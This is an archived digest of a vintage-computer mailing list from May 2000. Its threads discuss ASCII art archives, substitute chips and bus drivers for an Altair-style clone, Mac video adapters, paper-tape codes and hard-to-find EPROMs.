(Lawrence LeMay) Date: Sun Feb 27 18:51:50 2005 Subject: OT: Show how old you are with printer/punch card control codes. In-Reply-To: from Vintage Computer GAWD! at "May 22, 2000 12:56:21 pm" Message-ID: <200005222241.RAA14736@caesar.cs.umn.edu> > > Lawrence, if you still have your archive of ASCII art online I'd like to > know about it. Also, if there are any other archives on the web that > anyone knows about please post the URLs. > > Sellam International Man of Intrigue and Danger I have it online, but not currently available. if you have someplace that we can make this stuff available, then that would be great. Working at a University, I have to be extremely concerned about political correctness... We cant have our public dollars spent to let little johnnie print out ASCII pictures of girls, now can we? The main files, which are huge multi-overstrike, and often multi columns of wide fanfold paper in size (ie, for pictures like Mr Spock, or the Golden Gate bridge), originally came from an old Magtape. Lately I keep them in unix compress form, and they fit on 2 high density floppies along with IBM dos binaries of a uncompress program. I could make a single Tar file out of em, and put it on a web site for a day or so for you to grab it... or maybe mail you some floppy disks. Now if I could just get a hold of a wide carriage printer that can do overstrikes and uses 11x17, or 11x14 or whatever the correct size is... of course, a DecWriter III is perfect for printing these... Too bad I dont have the space for one. -Lawrence LeMay From netsurfer_x1 at hotmail.com Mon May 22 17:41:39 2000 From: netsurfer_x1 at hotmail.com (David Vohs) Date: Sun Feb 27 18:51:50 2005 Subject: Need Software. Message-ID: <20000522224139.97076.qmail@hotmail.com> This may sound ridiculous, but here goes. If it would be possible, could somebody please send me (via snail mail) MS-DOS programs that will work on my Sharp PC-7000. I am asking because the 5.25" drive in our computer is not completely compatible in DSDD mode (it is a 1.2 Mb drive), and all of my tries to transfer programs have been unsuccessful, so I have decided to give up & go here. A word of warning, the Sharp does not have a hard drive, so I'll need programs that will run off one or two floppy disks. ____________________________________________________________ David Vohs, Digital Archaeologist & Computer Historian. Home page: http://www.geocities.com/netsurfer_x1/ Computer Collection: "Triumph": Commodore 64C, 1802, 1541, FSD-1, GeoRAM 512, Okimate 20. "Leela": Macintosh 128 (Plus upgrade), Nova SCSI HDD, Imagewriter II. "Delorean": TI-99/4A. "Monolith": Apple Macintosh Portable. "Spectrum": Tandy Color Computer 3. "Boombox": Sharp PC-7000. ____________________________________________________________ ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From eric at brouhaha.com Mon May 22 17:41:23 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:51:50 2005 Subject: Wanted: DEC MSCP 19" rackmount hard drive In-Reply-To: <200005221502.LAA04668@bg-tc-ppp270.monmouth.com> (message from Bill Pechter on Mon, 22 May 2000 11:02:42 -0400 (EDT)) References: <200005221502.LAA04668@bg-tc-ppp270.monmouth.com> Message-ID: <20000522224123.16084.qmail@brouhaha.com> Bill Pechter wrote: > I wonder what would've happened if DEC had an HSC-CI70 that interfaced > with the Cache or Massbus bus systems on the 11/70's. Simple. They would have sold more 11/70s and fewer VAXen. That's why they didn't do it. That's why they didn't do a *lot* of things that would have made sense from a technical perspective. From eric at brouhaha.com Mon May 22 17:43:55 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:51:50 2005 Subject: Altair parts substitutions In-Reply-To: <497A9E0467D2D2119B760090271EB8E50E9148@MAIL10> (RCini@congressfinancial.com) References: <497A9E0467D2D2119B760090271EB8E50E9148@MAIL10> Message-ID: <20000522224355.16103.qmail@brouhaha.com> Rich writes: > The 8101 dual-port 256bx4 RAM is no longer available, but Jameco has a 5101 > which looks like a likely sub. Check the timing specs; the 5101 might be slower. Also, 8101 is just a different marketing designation for 2101, just like 8702 for 1702, etc. The 2101 should be easier to find. Apparently Intel's marketing people didn't think that engineers would be able to figure out that their standard RAM, ROM, PROM, and EPROM products would work with the 8080, so they introduced 8xxx-series part numbers for them. From emu at ecubics.com Mon May 22 17:55:58 2000 From: emu at ecubics.com (emanuel stiebler) Date: Sun Feb 27 18:51:50 2005 Subject: Semi-OT: DECstation/TZ30 question References: <200005222239.PAA26095@shell1.aracnet.com> Message-ID: <043401bfc440$e5ef4ec0$5d01a8c0@p2350> From: > Actually I'm stuborn enough I'd like to manage it myself, as that's part of > how I justify all this equipment to myself :^) And I wanted to have a use for it ;-) > However, if I continue to fail I'll keep the offer in mind. Was exactly what I meant ! ;-) cheers, emanuel From oliv555 at arrl.net Mon May 22 17:57:26 2000 From: oliv555 at arrl.net (Nick Oliviero) Date: Sun Feb 27 18:51:50 2005 Subject: Vancouver, Cal's Computer Warehouse? References: <200004302246.RAA05679@opal.tseinc.com> Message-ID: <3929BB56.643C4C52@arrl.net> I was in Vancouver most of last week and visited Cals. A typical used computer and parts store, though rather pricey, I thought. They had 15 Vaxstaions (KA42's) listed for $199 each. A nice collection of new and vintage computer books (picked up a VAx book for 3 bucks). They did have a nice display of classic PeeCee's near the entrance, no prices listed (probably for good reason). Bunch of other used PC's & Macs also overpriced. Good eats at the Flying Beaver, an aviaton crowd hangout sitting at a seaplane dock. Nick Mike Ford wrote: > Anybody up in Vancouver familiar with this place? > > They have a service manual for my NEC Silentwriter 2 model 90 on eBay right > now, but I am also curious about them in general. > > http://www.goseecal.com/ > > Cal's Computer Warehouse Inc. > 3083 Grandview Hwy. > Vancouver, B.C., V5M 2E4 > Canada > > Tel: 604-437-5551 > Fax: 604-437-5552 From richard at idcomm.com Mon May 22 18:40:09 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:50 2005 Subject: Altair parts substitutions References: <497A9E0467D2D2119B760090271EB8E50E9148@MAIL10> Message-ID: <001d01bfc447$125d74e0$0400c0a8@winbook> Forgive me for jumping in here, but the '373 is in no way similar to the 8T97. The 373 is a transparent latch with tristate outputs, i.e. a storage element, whereas the 8T97 is a tristate buffer, in this case two sharing one enable and the remaining four sharing the other. It's output is heftier than the otherwise identical 74367. Though it's somewhat of an oversimplification, the Signetics (that's who first made 'em) 8T series had inputs pretty much like the LS parts, yet had outputs like the schottky series parts. If you're building an Altair work-alike, yet not bent on using the same parts, I'd certainly recommend you use the 74ACT or even AC series if you can get them. They have completely symmetrical outputs, i.e. drive upward as hard as they pull downward, hence have more easily controllable impedance, hence will make nicer waveforms on the backplane. What's more, I'd recommend you look into the more up-to-date AC terminations for the bus, as opposed to the rather poor active DC termination that was promoted after people got the idea that there was trouble on the bus. Almost any AC termination together with symmetrical bus drivers as I've suggested, will improve the behavior of the bus much more than the passive or active DC terminations that were popular in the '70's. You may find it's easier to use 8-bit-wide parts for bus drivers/receivers, e.g. 74AC244's instead of 8T97's. You get two 4-bit buffers per package, but they're really better than the 8T97's. The fact that they're built in multiples of 4 bits wide makes them handier than the 6-bit 8T97's. Good luck! Dick ----- Original Message ----- From: Cini, Richard To: 'ClassCompList' Sent: Monday, May 22, 2000 10:05 AM Subject: Altair parts substitutions > It's that time of year again, when I think about designing an Altair/IMSAI > work-alike. Now that I have the ability to generate schematics/layouts, I > may actually try it. > > Anyway, some parts have become scarce, so I would have to use substitutes. > For example, Jameco no longer carries the 8T97 buffer/driver. As I recall > the 8T97 is an LS373 without the inverter on the gate *and* is faster and > has a higher drive current. I've heard that the MC6887 is a sub, but I can't > find a datasheet on it. > > The 8101 dual-port 256bx4 RAM is no longer available, but Jameco has a 5101 > which looks like a likely sub. I would forego this type for a larger SRAM, > but I guess that it too would have to be dual-ported. I need to look at the > schematics for an S100 memory board. > > Someone on-list did a design for his own clone, but I can't remember who it > is. I'm sure that it can be done cheaper than Tom Fischer's IMSAI-2 though. > > > Rich > From ard at p850ug1.demon.co.uk Mon May 22 19:07:18 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:50 2005 Subject: Altair parts substitutions In-Reply-To: <001d01bfc447$125d74e0$0400c0a8@winbook> from "Richard Erlacher" at May 22, 0 05:40:09 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 768 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000523/69f37bf1/attachment.ksh From dpeschel at eskimo.com Mon May 22 19:34:04 2000 From: dpeschel at eskimo.com (Derek Peschel) Date: Sun Feb 27 18:51:50 2005 Subject: When new advertising meets old computers Message-ID: <200005230034.RAA27201@eskimo.com> Target put a multipage color catalog in last Sunday's paper. The catalog combines full-page photos of people using outdoor toys (bicycles, snorkels, tents, etc.) with photos of the toys against garish solid-color backgrounds. Although the effect is rather unsettling (Life magazine meets Wired?) the strangest part is the image of *six-hole paper tape* that marches across the middles of all the pages. Obviously old computers have some sort of hold on our culture, though it could just be as an abstract design cliche. I haven't yet decoded the tape (if it says anyhthing at all). Luckily I just got _Computers and Typesetting_ which covers plenty of obscure typesetting codes (which is the only area I know of in which six-hole tape ever became popular). For non-US people: Target is a large "buy everything here" store, fancier than K Mart or Wal-Mart but still rather cheap. My mom sarcastically called it "Tar-ZHAY", as in the French pronounciation, for a while. :) -- Derek From richard at idcomm.com Mon May 22 20:06:51 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:50 2005 Subject: Altair parts substitutions References: Message-ID: <000901bfc453$3768adc0$0400c0a8@winbook> Please see embedded remarks below. Dick ----- Original Message ----- From: Tony Duell To: Sent: Monday, May 22, 2000 6:07 PM Subject: Re: Altair parts substitutions > > > > Forgive me for jumping in here, but the '373 is in no way similar to the > > 8T97. The 373 is a transparent latch with tristate outputs, i.e. a storage > > True... > > > element, whereas the 8T97 is a tristate buffer, in this case two sharing one > > However, it is _possible_ to use a '373 as a 3-state buffer. You tie the > enable to whichever state (high?) makes it transparent (rather than > holding the last value), apply the inputs to the D pins, put Q to the bus > and control it with the OE/ line. > Yes, but given that there are parts available that are more suitable, as he's building a new device this time, I'd say it is probably preferable that a tristate buffer be used instead of a transparent latch. I've seen this sort of thing, but the advantage in using a '244, for example, is that it, when used as a receiver, has schmidt-trigger inputs, which yields better noise immunity, and when used as a driver, sources and sinks, in the CMOS case, 24mA, while the LS has widely varying parameters, depending on the maker, but you can rely on the output low (sink) current being at least twice the output high (source) current. > > I don't recomend this (the output drive capability is not that good for > one thing), but I did use it one in an emergency when I had to make an > input port for a microcomputer (a TRS-80 model 1 IIRC) in a hurry and I > didn't have any 3-state buffers in stock. > > -tony > with CMOS bus buffers you needn't worry so much about the source and sink current. The CMOS doesn't dc-load the bus, though it does put a bit of AC-load in the form of capacitance on it. The great thing about AC terminations is that they put a capcitance in the transient state in parallel with the load capacitance. I'll let you work out the details, but it does improve things, as anyone who's hung a 'scope on and watched a few million transitions will tell you. They're not always textbook perfect, but VERY close to it! Dick From allisonp at world.std.com Mon May 22 17:22:21 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:50 2005 Subject: Altair parts substitutions Message-ID: <006801bfc44c$9e3475e0$7164c0d0@ajp166> >> Anyway, some parts have become scarce, so I would have to use substitutes. >> For example, Jameco no longer carries the 8T97 buffer/driver. As I recall >> the 8T97 is an LS373 without the inverter on the gate *and* is faster and > >I thought that the 74LS367 and 74LS368 (the latter being the inverting >one) were almost direct substitutes. I think the 8Txx parts can drive a >heavier load, but I doubt if this will cause problems in an Altair/Imsai Tony is right. 8t97 and 8t98 are close to the 74LS367 and 74ls368 in drive and exactly the same pinout. >The '373 is an octal transparent latch (with 3-state outputs) and is not >the same thing at all. the '373 wasn't available when the altair was new. >> has a higher drive current. I've heard that the MC6887 is a sub, but I can't >> find a datasheet on it. >> >> The 8101 dual-port 256bx4 RAM is no longer available, but Jameco has a 5101 >> which looks like a likely sub. I would forego this type for a larger SRAM, That would work, the difference is the 5101 is cmos and the 8101 is mos. >I can't find the 8101 on any of the S100 card schematics I've looked at, >so I wonder what on earth it was used for. try 2101. the first ram card was a 256byte one using 256x4 parts if memeory serves. The denser cards were 2107/TMS4060 4kx1 Dram based. He may have meant seperate Input and output like the 2102 (1kx1). Allison From allisonp at world.std.com Mon May 22 17:33:03 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:50 2005 Subject: Altair parts substitutions Message-ID: <006901bfc44c$9f029b50$7164c0d0@ajp166> >> The 8101 dual-port 256bx4 RAM is no longer available, but Jameco has a 5101 >> which looks like a likely sub. > >Check the timing specs; the 5101 might be slower. To run at 8080/2mhz it needs to be 600ns or better. In 1975 5101s were typically 1000ns or the fast ones at 850. > >Also, 8101 is just a different marketing designation for 2101, just like >8702 for 1702, etc. The 2101 should be easier to find. > >Apparently Intel's marketing people didn't think that engineers would be >able to figure out that their standard RAM, ROM, PROM, and EPROM >products would work with the 8080, so they introduced 8xxx-series part >numbers for them. No, not quite. It was a marketing thing to "bundle" parts with like numbers to indicate compatability for sales. The best of those was the 8205 that was really a 74138 but intel kept claiming it was a similar but gltich free part. I cracked one open to prove a point and th intel part was a TI 74138 die. Kitting, the name used by those in the trade back then was intels way of insuring they didn't get cherry picked for the 8224 and 8212 while AMD got the 8080 order along with someone else getting the ram order. Allison From rcini at msn.com Mon May 22 20:19:29 2000 From: rcini at msn.com (Richard A. Cini) Date: Sun Feb 27 18:51:50 2005 Subject: OT: Font needed TELETYPE.TTF Message-ID: Hello, all: In the process of repeatedly restoring various betas of Win98 et. al., I seemed to have deleted my copy of the Teletype TrueType font that someone made. If someone has this, could they please send it to me. Thanks. Rich [ Rich Cini [ ClubWin!/CW1 [ MCP Windows 95/Windows Networking [ Collector of "classic" computers [ <================ reply separator =================> From elvey at hal.com Mon May 22 20:27:16 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:51:50 2005 Subject: Altair parts substitutions In-Reply-To: Message-ID: <200005230127.SAA05666@civic.hal.com> ard@p850ug1.demon.co.uk (Tony Duell) wrote: > > In any case, the 5101 is (AFAIK) just a single-ported 256*4 CMOS RAM. > It's not a dual-ported device. Hi No, it is not dual ported but it has separate input and output ports and not a bidi bus. Dwight From richard at idcomm.com Mon May 22 20:42:36 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:50 2005 Subject: Altair parts substitutions References: <006801bfc44c$9e3475e0$7164c0d0@ajp166> Message-ID: <001501bfc458$2d5b7d80$0400c0a8@winbook> The drive on the 'LS367 depends somewhat on whose it is. The 8T97, according to my '78 SIGNETICS (they made them, after all) data book says it sinks 64mA! That's quite a bit more than the 16 mA of the typcial LS367, though Motorola claims their LS367 sinks 24 mA. It's hard to know what to believe. That's one reason I prefer the CMOS parts, particularly the AC from Fairchild/National, or the AHCT from Samsung. They drive at least plenty, symmetrically at that, and the fanout is on the order ot 10^3. Dick ----- Original Message ----- From: allisonp To: Sent: Monday, May 22, 2000 4:22 PM Subject: Re: Altair parts substitutions > >> Anyway, some parts have become scarce, so I would have to use > substitutes. > >> For example, Jameco no longer carries the 8T97 buffer/driver. As I recall > >> the 8T97 is an LS373 without the inverter on the gate *and* is faster and > > > >I thought that the 74LS367 and 74LS368 (the latter being the inverting > >one) were almost direct substitutes. I think the 8Txx parts can drive a > >heavier load, but I doubt if this will cause problems in an Altair/Imsai > > > Tony is right. 8t97 and 8t98 are close to the 74LS367 and 74ls368 > in drive and exactly the same pinout. > > >The '373 is an octal transparent latch (with 3-state outputs) and is not > >the same thing at all. > > > the '373 wasn't available when the altair was new. > > >> has a higher drive current. I've heard that the MC6887 is a sub, but I > can't > >> find a datasheet on it. > >> > >> The 8101 dual-port 256bx4 RAM is no longer available, but Jameco has a > 5101 > >> which looks like a likely sub. I would forego this type for a larger > SRAM, > > > That would work, the difference is the 5101 is cmos and the 8101 is mos. > > >I can't find the 8101 on any of the S100 card schematics I've looked at, > >so I wonder what on earth it was used for. > > > try 2101. the first ram card was a 256byte one using 256x4 parts if > memeory serves. > The denser cards were 2107/TMS4060 4kx1 Dram based. > > He may have meant seperate Input and output like the 2102 (1kx1). > > Allison > > > From richard at idcomm.com Mon May 22 20:44:55 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:50 2005 Subject: Altair parts substitutions References: <200005230127.SAA05666@civic.hal.com> Message-ID: <001f01bfc458$82c555c0$0400c0a8@winbook> please see my remarks below. Dick ----- Original Message ----- From: Dwight Elvey To: Sent: Monday, May 22, 2000 7:27 PM Subject: Re[2]: Altair parts substitutions > ard@p850ug1.demon.co.uk (Tony Duell) wrote: > > > > In any case, the 5101 is (AFAIK) just a single-ported 256*4 CMOS RAM. > > It's not a dual-ported device. > > Hi > No, it is not dual ported but it has separate > input and output ports and not a bidi bus. > Dwight > IIRC, that's the difference between the 2101 and the 2112. The 2112 has the bidirectional bus. From allisonp at world.std.com Mon May 22 19:23:32 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:51 2005 Subject: When new advertising meets old computers Message-ID: <007a01bfc459$20901470$7164c0d0@ajp166> >I haven't yet decoded the tape (if it says anyhthing at all). Luckily I >just got _Computers and Typesetting_ which covers plenty of obscure >typesetting codes (which is the only area I know of in which six-hole tape >ever became popular). Check out BAUDOT code used for the old mod 15 teleprinters and reperforators. those were 5level code with a shift character. Commonly used for TTY services like Western Union and Hams. Allison From SUPRDAVE at aol.com Mon May 22 21:44:11 2000 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 18:51:51 2005 Subject: Mac IIcx video connection Message-ID: <75.47eada8.265b4a7b@aol.com> In a message dated 5/22/00 10:02:40 AM Eastern Daylight Time, foxvideo@wincom.net writes: > > The video card ic an Apple Computer Inc. 820-0198-A7 Mackintosh II Video > Card. > It was packed separately from the computer, and condition is unknown. > The story here is that a couple of friends closed up their repair > business, and yesterday contributed a van load of computers and other odds > and ends to my collection. I have had no Mac experience, the only other one > in the collection is a Mac +, so don't really know what I am doing. I would > like to make an adapter to go from the Mac 15 pin video,(size of a game > port) to a standard VGA monitor. i have a 4 bit video card in my cx, and i tried one of those cable adaptors that allows a mac to use a vga monitor. the best i could get was a rolling screen that was green to due to the sync on green signal not connected right. i do have a ci that uses an adaptor and successfully worked with a nec multisync display. only thing i can suggest is get one of those video cable connectors for macs with all the dip switches, and a multisync monitor and try various combinations to see if it works. DB Young ICQ: 29427634 hurry, hurry, step right up! see the computers you used as a kid! http://members.aol.com/suprdave/classiccmp/museum.htm From jfoust at threedee.com Mon May 22 21:54:22 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:51:51 2005 Subject: OT: Show how old you are with printer/punch card control codes. In-Reply-To: <200005222241.RAA14736@caesar.cs.umn.edu> References: Message-ID: <4.3.0.20000522215023.021e43e0@pc> At 05:41 PM 5/22/00 -0500, Lawrence LeMay wrote: >I could make a single Tar file out of em, and put it on a web site for a >day or so for you to grab it... or maybe mail you some floppy disks. >Now if I could just get a hold of a wide carriage printer that can do >overstrikes and uses 11x17, or 11x14 or whatever the correct size is... >of course, a DecWriter III is perfect for printing these... Too bad I >dont have the space for one. I'm slowed by sloth, too. I've been meaning to get around to putting up all the ASCII files to match the images I have on my site, and to generate images for the entire collection, but it's time-consuming and hand-laborious. As explained on my page, I've made a simple C tool that translates at least one variety of overstrike ASCII into an Adobe Illustrator file, which easily imports into PhotoShop, thereby rasterizing into a web-friendly bitmap. Of course, Illustrator will also do a nice job of printing the art on any laser printer, including the tricky job of tiling the pieces. I still harbor the fantasy that I could make a zillion dollars by firing up the ASR-33 in the basement to crank out RARE ORIGINAL ASCII art posters that could be sold on eBay. - John From healyzh at aracnet.com Mon May 22 22:12:18 2000 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 18:51:51 2005 Subject: OT: Show how old you are with printer/punch card control In-Reply-To: <4.3.0.20000522215023.021e43e0@pc> from "John Foust" at May 22, 2000 09:54:22 PM Message-ID: <200005230312.UAA26408@shell1.aracnet.com> > I still harbor the fantasy that I could make a zillion dollars > by firing up the ASR-33 in the basement to crank out RARE ORIGINAL > ASCII art posters that could be sold on eBay. > > - John > Forget eBay, find a Art Gallery. Get the right Gallery in the right area and you could probably make even more than on eBay. Good Grief, this is a scary though! Zane From Glenatacme at aol.com Mon May 22 22:14:43 2000 From: Glenatacme at aol.com (Glenatacme@aol.com) Date: Sun Feb 27 18:51:51 2005 Subject: Need Software. Message-ID: Please see reply below. In a message dated 05/22/2000 6:47:22 PM Eastern Daylight Time, netsurfer_x1@hotmail.com writes: > f it would be possible, could somebody please send me (via snail mail) > MS-DOS programs that will work on my Sharp PC-7000. I am asking because the > 5.25" drive in our computer is not completely compatible in DSDD mode (it is > > a 1.2 Mb drive), and all of my tries to transfer programs have been > unsuccessful, so I have decided to give up & go here. > > A word of warning, the Sharp does not have a hard drive, so I'll need > programs that will run off one or two floppy disks. I have a variety of ancient DOS-based software on 5.25" diskettes -- mostly 360 KB. Not being familiar with your Sharp machine, I have to ask: how much RAM does it have, and what version of DOS is it running? And what sort of programs are you looking for? Glen 0/0 From dpeschel at eskimo.com Mon May 22 23:35:37 2000 From: dpeschel at eskimo.com (Derek Peschel) Date: Sun Feb 27 18:51:51 2005 Subject: When new advertising meets old computers In-Reply-To: <007a01bfc459$20901470$7164c0d0@ajp166> from "allisonp" at May 22, 2000 08:23:32 PM Message-ID: <200005230435.VAA10180@eskimo.com> > >I haven't yet decoded the tape (if it says anyhthing at all). Luckily I > >just got _Computers and Typesetting_ which covers plenty of obscure > >typesetting codes (which is the only area I know of in which six-hole tape > >ever became popular). > > Check out BAUDOT code used for the old mod 15 teleprinters and > reperforators. > those were 5level code with a shift character. Commonly used for TTY > services > like Western Union and Hams. I can clearly see that this is a 6-level tape, so Baudot wouldn't be the answer. (I seem to recall, though, that some of the 6-level codes were modified from Baudot, either using the extra hole in place of the shift character or using it for marking capital or lower case letters. All caps are fine for telegrams but not for book printing.) -- Derek From kyrrin at bluefeathertech.com Tue May 23 00:16:26 2000 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:51:51 2005 Subject: Back, I'm back... Message-ID: <3929B1BA.24052.1FA44B43@localhost> Ok, to anyone who might have tried to mail me over the weekend, only to have it bounce back in their face, my apologies. I just finished getting Blue Feather's domain relocated to USWest.net. The only thing that's still down at the moment is my web site, and I expect that to be taken care of Tuesday morning. The move to USW is a temporary one until I can get my own servers up and running. After that point, I'll not be depending on USW for anything more than the DSL pipe and DNS service. You may now return to your regularly-scheduled looniness. -=-=-=-=-=-=-=-=-=-=-=-=-=-=- Bruce Lane, Owner/Head Honcho, Blue Feather Technologies (www.bluefeathertech.com) kyrrin@bluefeathertech.com "SCSI Users, Unite! Beware the IDEs of March!" From cmcmanis at mcmanis.com Tue May 23 02:11:34 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:51:51 2005 Subject: good new/bad news on the VLC firmware Message-ID: <4.3.1.2.20000523000330.00d51b40@208.226.86.10> The good news is that I took apart my VLC, pulled out the two EPROMs holding the firmware and successfully read them out and saved them to a file on disk. The bad news is that the EPROMs are 27210's (64K X 16 bit) parts. Apparently these weren't popular enough to either make it into the "mainstream" or into over stock :-(. Digi-key, Mouser, JameCo, Future-Active, Wyle, all came up empty. JDR's web site claimed they had them but the order failed and said "call customer service" :-0. So there you go, a "valuable" IC for those with VLC's. --Chuck From elmo at mminternet.com Tue May 23 02:10:38 2000 From: elmo at mminternet.com (Eliot Moore) Date: Sun Feb 27 18:51:51 2005 Subject: Free in Socal: DEC PCXCV-B2 VGA Monitors Message-ID: <392A2EEC.693E6460@mminternet.com> I have two Digital VGA monitors destined for the curbside. Help me avoid carrying them down the stairs. They're only standard VGA resolution, but they're pretty, and they'll mate nicely with your lpv's or other DEC PC's. And yes, with mfg date of 1992, they're _almost_ classic. Regards, Eliot (Santa Monica) From RCini at congressfinancial.com Tue May 23 07:50:52 2000 From: RCini at congressfinancial.com (Cini, Richard) Date: Sun Feb 27 18:51:51 2005 Subject: Altair parts substitutions Message-ID: <497A9E0467D2D2119B760090271EB8E50E9154@MAIL10> This is what I meant exactly - no bi-directional data bus. I'm guessing that there is a fine distinction between dual-ported and separate input and output busses... Rich ========================== Richard A. Cini, Jr. Congress Financial Corporation 1133 Avenue of the Americas 30th Floor New York, NY 10036 (212) 545-4402 (212) 840-6259 (facsimile) -----Original Message----- From: Dwight Elvey [mailto:elvey@hal.com] Sent: Monday, May 22, 2000 9:27 PM To: classiccmp@classiccmp.org Subject: Re[2]: Altair parts substitutions ard@p850ug1.demon.co.uk (Tony Duell) wrote: > > In any case, the 5101 is (AFAIK) just a single-ported 256*4 CMOS RAM. > It's not a dual-ported device. Hi No, it is not dual ported but it has separate input and output ports and not a bidi bus. Dwight From RCini at congressfinancial.com Tue May 23 08:35:42 2000 From: RCini at congressfinancial.com (Cini, Richard) Date: Sun Feb 27 18:51:51 2005 Subject: Teleprinter Font Message-ID: <497A9E0467D2D2119B760090271EB8E50E9157@MAIL10> I found a copy...on a low-used laptop. Thanks. Rich From allisonp at world.std.com Tue May 23 08:47:13 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:51 2005 Subject: good new/bad news on the VLC firmware In-Reply-To: <4.3.1.2.20000523000330.00d51b40@208.226.86.10> Message-ID: it can be faked with a pair of 27512s(64kx8) or larger on a header. In the mean time failed cards might be used for spares. Allison On Tue, 23 May 2000, Chuck McManis wrote: > The bad news is that the EPROMs are 27210's (64K X 16 bit) parts. > Apparently these weren't popular enough to either make it into the > "mainstream" or into over stock :-(. From jott at saturn.ee.nd.edu Tue May 23 09:16:42 2000 From: jott at saturn.ee.nd.edu (John Ott) Date: Sun Feb 27 18:51:51 2005 Subject: OT: Show how old you are with printer/punch card control codes. In-Reply-To: <200005222241.RAA14736@caesar.cs.umn.edu>; from lemay@cs.umn.edu on Mon, May 22, 2000 at 05:41:52PM -0500 References: <200005222241.RAA14736@caesar.cs.umn.edu> Message-ID: <20000523091642.C9723@saturn.ee.nd.edu> Hello - I would be interested in the tar file also. Please post the web site when it's available. Thanks. john On Mon, May 22, 2000 at 05:41:52PM -0500, Lawrence LeMay wrote: > > > > Lawrence, if you still have your archive of ASCII art online I'd like to > > know about it. Also, if there are any other archives on the web that > > anyone knows about please post the URLs. > > > > Sellam International Man of Intrigue and Danger > > I have it online, but not currently available. if you have someplace that > we can make this stuff available, then that would be great. > > Working at a University, I have to be extremely concerned about political > correctness... We cant have our public dollars spent to let little johnnie > print out ASCII pictures of girls, now can we? > > The main files, which are huge multi-overstrike, and often multi columns of > wide fanfold paper in size (ie, for pictures like Mr Spock, or the > Golden Gate bridge), originally came from an old Magtape. Lately I > keep them in unix compress form, and they fit on 2 high density floppies > along with IBM dos binaries of a uncompress program. > > I could make a single Tar file out of em, and put it on a web site for a > day or so for you to grab it... or maybe mail you some floppy disks. > > Now if I could just get a hold of a wide carriage printer that can do > overstrikes and uses 11x17, or 11x14 or whatever the correct size is... > of course, a DecWriter III is perfect for printing these... Too bad I > dont have the space for one. > > -Lawrence LeMay -- ************************************************************************ * * * * John Ott * Email: jott@saturn.ee.nd.edu * * Dept. Electrical Engineering * * * 275 Fitzpatrick Hall * * * University of Notre Dame * Phone: (219) 631-7752 * * Notre Dame, IN 46556 USA * * * * * ************************************************************************ From rigdonj at intellistar.net Tue May 23 10:34:15 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:51:51 2005 Subject: DEC stuff 11/73 Message-ID: <3.0.1.16.20000523103415.3d0f25f0@mailhost.intellistar.net> Will the guy that made me an offer on the 11/73 contact me again? I lost your address. E-mail me directly. Joe From xds_sigma7 at hotmail.com Tue May 23 09:37:18 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:51:51 2005 Subject: Altair parts and the like Message-ID: <20000523143718.12051.qmail@hotmail.com> Hi, Well if whoever was building the thing really wants to use 8T97's, I have 15 of 'em... Let me know if you're interested. Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From RCini at congressfinancial.com Tue May 23 10:30:43 2000 From: RCini at congressfinancial.com (Cini, Richard) Date: Sun Feb 27 18:51:51 2005 Subject: Altair parts and the like Message-ID: <497A9E0467D2D2119B760090271EB8E50E9159@MAIL10> Thanks for the 8T97 offer. My goal for this project would be to make for myself an 8080-based SBC using modern parts and having some sort of front panel. I have no illusions of reproducing an Altair or IMSAI. Just thinking about this a little...maybe I could take Claus Guiloi's Altair "emulator" code and connect a virtual terminal to it. I have a dot-matrix printer font and a teletype font...hmmm...this is more interesting. Rich -----Original Message----- From: Will Jennings [mailto:xds_sigma7@hotmail.com] Sent: Tuesday, May 23, 2000 10:37 AM To: classiccmp@classiccmp.org Subject: Altair parts and the like Hi, Well if whoever was building the thing really wants to use 8T97's, I have 15 of 'em... Let me know if you're interested. Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From emu at ecubics.com Tue May 23 10:42:04 2000 From: emu at ecubics.com (emanuel stiebler) Date: Sun Feb 27 18:51:51 2005 Subject: good new/bad news on the VLC firmware References: <4.3.1.2.20000523000330.00d51b40@208.226.86.10> Message-ID: <018b01bfc4cd$72f34ab0$5d01a8c0@p2350> From: Chuck McManis > The bad news is that the EPROMs are 27210's (64K X 16 bit) parts. Which manufacturer ? > Apparently these weren't popular enough to either make it into the > "mainstream" or into over stock :-(. Mine VLC have all 27c1024 in them. I ordered/got this parts without any problems few weeks ago. > Digi-key, Mouser, JameCo, Future-Active, Wyle, all came up empty. JDR's web > site claimed they had them but the order failed and said "call customer > service" :-0. You probably asked the wrong questions ;-) cheers, emanuel From jeff.kaneko at juno.com Tue May 23 11:14:14 2000 From: jeff.kaneko at juno.com (Jeffrey l Kaneko) Date: Sun Feb 27 18:51:51 2005 Subject: Radio Shack Humour Message-ID: <20000523.111414.-197469.0.jeff.kaneko@juno.com> How many of you are irritated by the personal questions asked by Radio Shack salespeople when you go there to buy parts for *your* classic computer? I got this message from one of the guys here at work. I think he has the answer. . . . Jeff --------------------- Attached Message Follows -------------------- Date: Mon, 22 May 2000 18:49:29 -0500 To: 